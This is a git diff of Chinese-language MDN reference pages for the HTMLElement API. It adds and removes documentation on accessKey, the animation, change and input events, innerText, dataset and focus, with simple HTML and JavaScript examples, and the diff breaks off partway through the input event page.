diff options
Diffstat (limited to 'files/zh-cn/web/api/htmlelement')
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/accesskey/index.html | 24 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/animationend_event/index.html | 93 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/animationstart_event/index.html | 90 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/blur/index.html | 24 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/change_event/index.html | 125 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/dataset/index.html | 123 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/focus/index.html | 158 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/innertext/index.html | 93 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/input_event/index.html | 158 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/nonce/index.html | 60 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/style/index.html | 80 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/tabindex/index.html | 49 | ||||
| -rw-r--r-- | files/zh-cn/web/api/htmlelement/transitionend_event/index.html | 133 |
13 files changed, 716 insertions, 494 deletions
diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..832396ac33 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,24 @@ +--- +title: Element.accessKey +slug: Web/API/HTMLElement/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +original_slug: Web/API/Element/accessKey +--- +<div>{{APIRef("DOM")}}</div> + +<div> </div> + +<p><font face="Consolas, Monaco, Andale Mono, monospace">元素的<strong> Element.accessKey</strong></font> 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。</p> + +<div class="note"> +<p>注: <em> <strong>Element.accessKey </strong>属性很少使用，因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题，浏览器约定accessKey键与特定按键一起按（比如 Alt + accessKey）来生效快捷键行为。</em></p> +</div> + +<p> </p> + +<p> </p> diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..85c1303f28 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,93 @@ +--- +title: animationend +slug: Web/API/HTMLElement/animationend_event +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationend +translation_of: Web/API/HTMLElement/animationend_event +original_slug: Web/Events/animationend +--- +<p><code>animationend</code> 事件会在一个 CSS 动画完成时触发（不包括完成前就已终止的情况，例如元素变得不可见或者动画从元素中移除）。</p> + +<h2 id="常规信息">常规信息</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">规范</dt> + <dd style="margin: 0 0 0 120px;">{{SpecName("CSS3 Animations")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">接口</dt> + <dd style="margin: 0 0 0 120px;">{{domxref("AnimationEvent")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">是否冒泡</dt> + <dd style="margin: 0 0 0 120px;">是</dd> + <dt style="float: left; text-align: right; width: 120px;">事件可取消</dt> + <dd style="margin: 0 0 0 120px;">否</dd> + <dt style="float: left; text-align: right; width: 120px;">目标</dt> + <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}</dd> + <dt style="float: left; text-align: right; width: 120px;">默认行为</dt> + <dd style="margin: 0 0 0 120px;">无</dd> +</dl> + +<h2 id="属性表">属性表</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">属性</th> + <th scope="col">类型</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{ReadOnlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>事件目标（DOM 顶层目标）。</td> + </tr> + <tr> + <td><code>type</code> {{ReadOnlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>事件类型</td> + </tr> + <tr> + <td><code>bubbles</code> {{ReadOnlyInline}}</td> + <td><code>boolean</code></td> + <td>事件是否正常冒泡？</td> + </tr> + <tr> + <td><code>cancelable</code> {{ReadOnlyInline}}</td> + <td><code>boolean</code></td> + <td>可否取消该事件？</td> + </tr> + <tr> + <td><code>animationName</code> {{ReadOnlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>与该动画相关的 CSS 属性值。</td> + </tr> + <tr> + <td><code>elapsedTime</code> {{ReadOnlyInline}}</td> + <td><code>Float</code></td> + <td>动画运行时长，单位为秒，与直到该事件被触发的时间相一致，不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积，动画总活动的时长。</td> + </tr> + </tbody> +</table> + +<h2 id="相关事件">相关事件</h2> + +<ul> + <li>{{Event("animationstart")}}</li> + <li>{{Event("animationiteration")}}</li> + <li>{{Event("animationcancel")}}</li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a></li> + <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Using CSS Animations</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>{{domxref("GlobalEventHandlers.onanimationstart")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..3f2092239a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,90 @@ +--- +title: animationstart +slug: Web/API/HTMLElement/animationstart_event +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationstart +translation_of: Web/API/HTMLElement/animationstart_event +original_slug: Web/Events/animationstart +--- +<p><code>animationstart</code> 事件会在 CSS 动画开始时触发。 如果有 <code>animation-delay</code> 延时，事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 <code>elapsedTime</code> 属性值等于该时长的绝对值（并且，相应地，动画将直接播放该时长绝对值之后的动画）。</p> + +<h2 id="基本信息">基本信息</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">规格</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></dd> + <dt style="float: left; text-align: right; width: 120px;">接口</dt> + <dd style="margin: 0 0 0 120px;">AnimationEvent</dd> + <dt style="float: left; text-align: right; width: 120px;">是否冒泡</dt> + <dd style="margin: 0 0 0 120px;">是</dd> + <dt style="float: left; text-align: right; width: 120px;">事件可取消</dt> + <dd style="margin: 0 0 0 120px;">否</dd> + <dt style="float: left; text-align: right; width: 120px;">目标</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">默认行为</dt> + <dd style="margin: 0 0 0 120px;">无</dd> +</dl> + +<h2 id="属性表">属性表</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">属性</th> + <th scope="col">类型</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{ReadOnlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>事件来源（DOM 顶层目标）。</td> + </tr> + <tr> + <td><code>type</code> {{ReadOnlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>事件类型</td> + </tr> + <tr> + <td><code>bubbles</code> {{ReadOnlyInline}}</td> + <td><code>boolean</code></td> + <td>事件是否正常冒泡？</td> + </tr> + <tr> + <td><code>cancelable</code> {{ReadOnlyInline}}</td> + <td><code>boolean</code></td> + <td>可否取消该事件？</td> + </tr> + <tr> + <td><code>animationName</code> {{ReadOnlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>与该动画相关的 CSS 属性值。</td> + </tr> + <tr> + <td><code>elapsedTime</code> {{ReadOnlyInline}}</td> + <td><code>Float</code></td> + <td>动画运行时长，单位为秒，与直到该事件被触发的时间相一致，不包括任何动画暂停时的时长。此值应为 0 除非 <code>animation-delay</code> 是一个负值，这种情况下此值为 (-1 * {{cssxref("animation-delay")}})，并且动画将直接从此值后的序列开始播放。</td> + </tr> + </tbody> +</table> + +<h2 id="相关事件">相关事件</h2> + +<ul> + <li>{{Event("animationstart")}}</li> + <li>{{Event("animationend")}}</li> + <li>{{Event("animationiteration")}}</li> +</ul> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Using CSS Animations</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html deleted file mode 100644 index 96452abcc0..0000000000 --- a/files/zh-cn/web/api/htmlelement/blur/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -<p>{{ APIRef() }}</p> -<h3 id="Summary" name="Summary">概述</h3> -<p><strong>blur</strong>方法用来移除当前元素所获得的键盘焦点.</p> -<h3 id="Syntax" name="Syntax">语法</h3> -<pre class="eval">element.blur() -</pre> -<h3 id="Specification" name="Specification">规范</h3> -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-28216144">blur</a></p> -<h3 id="相关链接">相关链接</h3> -<ul> - <li><a href="/zh-cn/DOM/element.focus" title="zh-cn/DOM/element.focus">DOM element focus</a></li> -</ul> -<p>{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html new file mode 100644 index 0000000000..d1e5766eeb --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -0,0 +1,125 @@ +--- +title: change +slug: Web/API/HTMLElement/change_event +tags: + - Change + - HTML + - HTML DOM + - HTMLElement + - change vs. input + - 事件 + - 参考 +translation_of: Web/API/HTMLElement/change_event +original_slug: Web/Events/change +--- +<p>{{APIRef}}</p> + +<p>当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时，<code>change</code> 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样，<code>change</code> 事件并不是每次元素的 <code>value</code> 改变时都会触发。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">冒泡</th> + <td>是</td> + </tr> + <tr> + <th scope="row">可取消</th> + <td>否</td> + </tr> + <tr> + <th scope="row">接口</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">事件处理程序属性</th> + <td>{{domxref("GlobalEventHandlers/onchange", "onchange")}}</td> + </tr> + </tbody> +</table> + +<p>基于表单元素的类型和用户对标签的操作的不同，<code>change</code> 事件触发的时机也不同：</p> + +<ul> + <li>当元素是 <code>:checked</code> 状态时（通过点击或者使用键盘），见于 <code>{{HTMLElement('input/radio', '<input type="radio">')}}</code> 和 <code>{{HTMLElement('input/checkbox', '<input type="checkbox">')}}</code>；</li> + <li>当用户显式提交改变时（例如：点击了 {{HTMLElement("select")}}中的一个选项，从 <code>{{HTMLElement('input/date', '<input type="date">')}}</code> 标签选择了一个日期，通过 <code>{{HTMLElement('input/file', '<input type="file">')}}</code> 标签上传了一个文件等）；</li> + <li>当标签的值被修改并且失去焦点后，但未提交时（例如：对{{HTMLElement("textarea")}} 或者 <code>{{HTMLElement('input/text', '<input type="text">')}}</code>的值进行编辑后）。</li> +</ul> + +<h2 id="示例">示例</h2> + +<h3 id="<select>_元素"><select> 元素</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="notranslate"><label>Choose an ice cream flavor: + <select class="ice-cream" name="ice-cream"> + <option value="">Select One …</option> + <option value="chocolate">Chocolate</option> + <option value="sardine">Sardine</option> + <option value="vanilla">Vanilla</option> + </select> +</label> + +<div class="result"></div></pre> + +<pre class="notranslate">body { + display: grid; + grid-template-areas: "select result"; +} + +select { + grid-area: select; +} + +.result { + grid-area: result; +} +</pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="notranslate">const selectElement = document.querySelector('.ice-cream'); + +selectElement.addEventListener('change', (event) => { + const result = document.querySelector('.result'); + result.textContent = `You like ${event.target.value}`; +}); +</pre> + +<h4 id="结果">结果</h4> + + + +<h3 id="文本输入元素">文本输入元素</h3> + +<p>对于一些元素，包括 <code><input type="text"></code>，<code>change</code> 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字，然后点击输入框外的地方来触发事件。</p> + +<h4 id="HTML_2">HTML</h4> + +<pre class="notranslate"><input placeholder="Enter some text" name="name"/> +<p id="log"></p></pre> + +<h4 id="JavaScript_2">JavaScript</h4> + +<pre class="notranslate">const input = document.querySelector('input'); +const log = document.getElementById('log'); + +input.addEventListener('change', updateValue); + +function updateValue(e) { + log.textContent = e.target.value; +}</pre> + +<h4 id="结果_2">结果</h4> + + + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p> + +<p>对于一些特定类型的交互是否要触发 <code>change</code> 事件，不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 <code>change</code> 事件，直到用户按下 Enter 键或将焦点从 <code><select></code> 上移走（参见 {{bug("126379")}}）。但从 Firefox 63（Quantum）开始，这个行为在已经在主流浏览器中达成一致。</p> + +<h2 id="参见">参见</h2> + +<p>{{domxref("NetworkInformation.connection")}} fires the <code>change</code> event when the connection information changes.</p> diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html deleted file mode 100644 index 63ab5f48e8..0000000000 --- a/files/zh-cn/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -<p>{{ APIRef }}</p> - -<p><code><strong>HTMLElement.dataset</strong></code>属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有<a href="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定义数据属性</a>(<em>data-*</em>)集。</p> - -<p>它是一个<a href="/zh-CN/DOM/DOMStringMap">DOMString的映射</a>，每个自定义数据属性的一个条目。</p> - -<p>请注意，<strong>dataset </strong>属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。</p> - -<p>还要注意，一个HTML <code><strong>data-</strong></code><em>attribute </em>及其对应的DOM <code><strong>dataset.</strong></code><em>property</em> 不共享相同的名称，但它们总是相似的：</p> - -<ul> - <li>在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母，数字和以下字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) - 但不是任何ASCII大写字母（A到Z）。</li> - <li>JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称，但在 camelCase中，没有破折号，点等。</li> -</ul> - -<p> </p> - -<p>自定义的数据属性名称是以 <code>data- </code>开头的。 它必须要遵循 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" rel="external nofollow" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)。此外不应包含ASCII 码大写字母。</p> - -<p>自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：</p> - -<ul> - <li>前缀 <code>data-</code> 被去除(包括减号)；</li> - <li>对于每个在ASCII小写字母<span style="line-height: 1.5;"> </span><code style="font-style: normal;">a到</code><span style="line-height: 1.5;"> </span><code style="font-style: normal;">z前面</code>的减号 (<code>U+002D</code>)，减号会被去除，并且字母会转变成对应的大写字母。</li> - <li>其他字符（包含其他减号）都不发生变化</li> -</ul> - -<p>与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：</p> - -<ul> - <li>约束：减号在转变前一定不能紧跟一个ASCII小写字母 <code style="font-style: normal;">a</code> 到 <code style="font-style: normal;">z之间；</code></li> - <li>添加 <code>data-</code> 前缀;</li> - <li>任何ASCII大写字母 <code>A</code> 到 <code>Z</code> 将转化成一个减号紧跟对应的小写字母；</li> - <li>其他字符不会发生变化</li> -</ul> - -<p>上面规则的约束是为了保证这两种转换是正好相反的转换。</p> - -<p>例如，属性名称 <code>data-abc-def</code> 与键值 <code>abcDef 相对应。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>string</em> = <em>element</em>.dataset.<em>camelCasedName</em>; -<em>element.</em>dataset.<em>camelCasedName</em> = <em>string</em>;</pre> - -<h2 id="实例">实例</h2> - -<pre class="brush: js"><div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe -</div> - -var el = document.querySelector('#user'); - -// el.id == 'user' -// el.dataset.id === '1234567890' -// el.dataset.user === 'johndoe' -// el.dataset.dateOfBirth === '' - -el.dataset.dateOfBirth = '1960-10-03'; // set the DOB. - -// 'someDataAttr' in el.dataset === false - -el.dataset.someDataAttr = 'mydata'; -// 'someDataAttr' in el.dataset === true -</pre> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>8</td> - <td>{{ CompatGeckoDesktop("6.0") }}</td> - <td>11</td> - <td>11.10</td> - <td>6</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - </tr> - </tbody> -</table> -</div> - -<p> </p> diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html deleted file mode 100644 index eb47aff613..0000000000 --- a/files/zh-cn/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。</span></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>element</var>.focus(<var>options</var>); // Object parameter</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>options</code> {{optional_inline}}</dt> - <dd>An optional object providing options to control aspects of the focusing process. This object may contain the following property:</dd> - <dd> - <dl> - <dt><code>preventScroll</code> {{optional_inline}}</dt> - <dd>A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of <code>false</code> for <code>preventScroll</code> (the default) means that the browser will scroll the element into view after focusing it. If <code>preventScroll</code> is set to <code>true</code>, no scrolling will occur.</dd> - </dl> - </dd> -</dl> - -<h2 id="示例">示例</h2> - -<h3 id="将焦点设置到文本框上">将焦点设置到文本框上</h3> - -<h4 id="JavaScript">JavaScript</h4> - -<pre class="brush: js">focusMethod = function getFocus() { - document.getElementById("myTextField").focus(); -}</pre> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html"><input type="text" id="myTextField" value="Text field."> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上！</button> -</pre> - -<h4 id="结果">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p> - -<h3 id="将焦点设置到按钮上">将焦点设置到按钮上</h3> - -<h4 id="JavaScript_2">JavaScript</h4> - -<pre>focusMethod = function getFocus() { - document.getElementById("myButton").focus(); -}</pre> - -<h4 id="HTML_2">HTML</h4> - -<pre><button type="button" id="myButton">Click Me!</button> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上！</button></pre> - -<h4 id="结果_2">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p> - -<h3 id="Focus_with_focusOption">Focus with focusOption</h3> - -<h4 id="JavaScript_3">JavaScript</h4> - -<pre class="brush: js">focusScrollMethod = function getFocus() { - document.getElementById("myButton").focus({preventScroll:false}); -} -focusNoScrollMethod = function getFocusWithoutScrolling() { - document.getElementById("myButton").focus({preventScroll:true}); -} - -</pre> - -<h4 id="HTML_3">HTML</h4> - -<pre class="brush: html"><button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button> -<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button> - -<div id="container" style="height: 1000px; width: 1000px;"> -<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button> -</div> - -</pre> - -<h4 id="结果_3">结果</h4> - -<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="备注">备注</h2> - -<ul> - <li>If you call <code>HTMLElement.focus()</code> from a mousedown event handler, you must call <code>event.preventDefault()</code> to keep the focus from leaving the <code>HTMLElement</code></li> - <li> - <p>Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout <a href="https://blog.whatwg.org/focusing-on-focus">WHATWG blog</a> for more info.</p> - </li> -</ul> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.focus")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.</li> - <li>{{ domxref("document.activeElement") }} to know which is the currently focused element.</li> -</ul> diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..723d09779e --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -0,0 +1,93 @@ +--- +title: HTMLElement.innerText +slug: Web/API/HTMLElement/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +original_slug: Web/API/Node/innerText +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><code><strong>innerText</strong></code> 属性表示一个节点及其后代的“渲染”文本内容。</span> As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.</p> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> <code>innerText</code> 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, <code>innerText</code> 可操作已被渲染的内容， 而 <code>textContent</code> 则不会.</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>renderedText</em> = <em>HTMLElement</em>.innerText; +<em>HTMLElement</em>.innerText = <em>string</em>;</pre> + +<h3 id="输出值">输出值</h3> + +<p>一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 <a href="https://html.spec.whatwg.org/multipage/rendering.html#being-rendered">被渲染</a> (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.</p> + +<h2 id="例子">例子</h2> + +<p>这个示例对比了 <code>innerText</code> 和 {{domxref("Node.textContent")}}. 这时 <code>innerText</code> 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><h3>Source element:</h3> +<p id="source"> + <style>#source { color: red; }</style> +Take a look at<br>how this text<br>is interpreted + below. + <span style="display:none">HIDDEN TEXT</span> +</p> +<h3>Result of textContent:</h3> +<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea> +<h3>Result of innerText:</h3> +<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">const source = document.getElementById('source'); +const textContentOutput = document.getElementById('textContentOutput'); +const innerTextOutput = document.getElementById('innerTextOutput'); + +textContentOutput.innerHTML = source.textContent; +innerTextOutput.innerHTML = source.innerText;</pre> + +<h3 id="结果">结果</h3> + +<p>{{EmbedLiveSample("Example", 700, 450)}}</p> + +<h2 id="规范">规范</h2> + +<table> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Introduced, based on the <a href="https://github.com/rocallahan/innerText-spec">draft of the innerText specification</a>. See <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> and <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> for history.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("api.HTMLElement.innerText")}}</p> + +<p>此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商（vendor）采用后，它于 2016 年正式进入 HTML 标准。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("HTMLElement.outerText")}}</li> + <li>{{domxref("Element.innerHTML")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..12164b4ed4 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -0,0 +1,158 @@ +--- +title: input +slug: Web/API/HTMLElement/input_event +tags: + - HTML DOM + - HTMLElement + - Input + - 事件 + - 参考 + - 表单 + - 输入 +translation_of: Web/API/HTMLElement/input_event +original_slug: Web/Events/input +--- +<p>{{APIRef}}</p> + +<p>当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 <code>value</code> 被修改时，会触发 <strong><code>input</code></strong> 事件。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Cancelable</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Interface</th> + <td>{{DOMxRef("InputEvent")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td>{{domxref("GlobalEventHandlers.oninput")}}</td> + </tr> + </tbody> +</table> + +<p><strong><code>input</code></strong> 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素，以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在<code>contenteditable</code> 和 <code>designMode</code> 的情况下，事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上，当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。</p> + +<p>对于 <code>type=checkbox</code> 或 <code>type=radio</code> 的 <code>input</code> 元素，每当用户切换控件（通过触摸、鼠标或键盘）时（<a href="https://html.spec.whatwg.org/multipage/input.html#the-input-element:event-input-2">HTML5规范</a>），<code>input</code> 事件都应该触发。然而，历史事实并非如此。请检查兼容性，或使用 {{event("change")}} 事件代替这些类型的元素。</p> + +<div class="blockIndicator note"> +<p><strong>注意：</strong> 每当元素的 <code>value</code> 改变，<code>input</code> 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发，如按回车键，从一个 options 列表中选择一个值等。</p> +</div> + +<h2 id="示例">示例</h2> + +<p>每当用户修改 {{HtmlElement("input")}} 元素的 value 时，这个示例会记录 value。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><code><input placeholder="Enter some text" name="name"/> +<p id="values"></p></code></pre> + +<h3 